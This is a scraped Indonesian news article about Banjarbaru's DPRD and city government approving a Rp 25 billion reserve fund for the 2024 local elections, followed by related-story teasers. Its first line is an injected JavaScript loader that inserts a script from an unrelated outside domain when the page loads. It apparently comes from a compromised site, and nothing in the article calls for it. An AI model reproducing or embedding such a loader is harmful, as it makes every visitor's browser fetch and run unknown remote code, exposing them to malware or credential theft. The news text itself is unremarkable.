(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Raperda Dana Cadangan Pemilihan Kepala Daerah (Pilkada) 2024 secara resmi disahkan oleh DPRD bersama Pemko Banjarbaru. Raperda ini disahkan dalam rapat paripurna yang dilaksanakan, Kamis (25/8/2022).
Ketua DPRD Banjarbaru Fadliansyah Akbar berharap, pengalokasian anggaran pelaksanaan Pilkada di Banjarbaru dapat disesuaikan dengan kemampuan anggaran pemerintah daerah. Diakuinya, kebutuhan di tahun 2024 tentu menyesuaikan di tahun sebelumnya.
“Sehingga saat penyelenggaraan pilkada 2024, kita masih ada anggaran cadangan. Untuk kebutuhan (dana) Pilkada 2024 itu, estimasinya sebesar Rp 25 miliar,” kata Fadliansyah.
Untuk memenuhi target dana pilkada sebesar Rp 25 miliar, dilaksanakan secara bertahap, mulai tahun 2023 hingga tahun 2024. Jika dibandingkan pilkada sebelumnya, tentu terjadi peningkatan jumlah dana pilkada tahun 2024.
Baca juga : Kapal Angkutan Barang Karam di Sungai Kuin Dekat Jembatan HKSN
Dimana, jika dibandingkan Pilkada sebelumnya yaitu Pilkada 2020 yang menyedot dana sebesar Rp 20 miliar, ada peningkatan sebesar Rp 5 miliar.
“Rp 25 miliar itu baru dana cadangan Pilkada 2024. Belum lagi untuk Pileg (Pemilihan Legislatif) dan Pilpres (Pemilihan Presiden),” beber Fadliansyah.
Kendati dana cadangan Pilkada 2024 diperkirakan mencapai Rp 25 miliar, Fadliansyah menyebut, untuk pemenuhan dana cadangan sendiri dilakukan secara bertahap. Namun, tidak menutup kemungkinan akan terjadi peningkatan.
“Akan banyak ongkos politik, maupun kegiatan-kegiatan yang dilaksanakan oleh KPU (Komisi Pemilihan Umum) Banjarbaru. Makanya kemungkinan bisa membengkak,” sambungnya.
Baca juga : Wakil Menteri Agama RI Launching MTQ Nasional XXIX, Terakhir Kalsel Tuan Rumah Tahun 1970
Sementara itu, Wali Kota Banjarbaru Aditya Mufti Ariffin mengatakan, dengan adanya Perda Dana Cadangan Pilkada 2024, mengharuskan Pemko menyisihkan sebagian anggaran untuk pelaksanaan Pilkada.
“Pemko berupaya untuk menabung dari sekarang. Jadi di tahun ini akan kita sisihkan, tahun depan akan disisihkan kembali dan di tahun 2024 akan digunakan,” kata Ovie, sapaan akrabnya.
Pengalokasian anggaran untuk Pilkada 2024 di Kota Idaman sendiri dilakukan secara bertahap. Alasannya, beber Ovie, agar tidak membebani anggaran pemerintah daerah.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.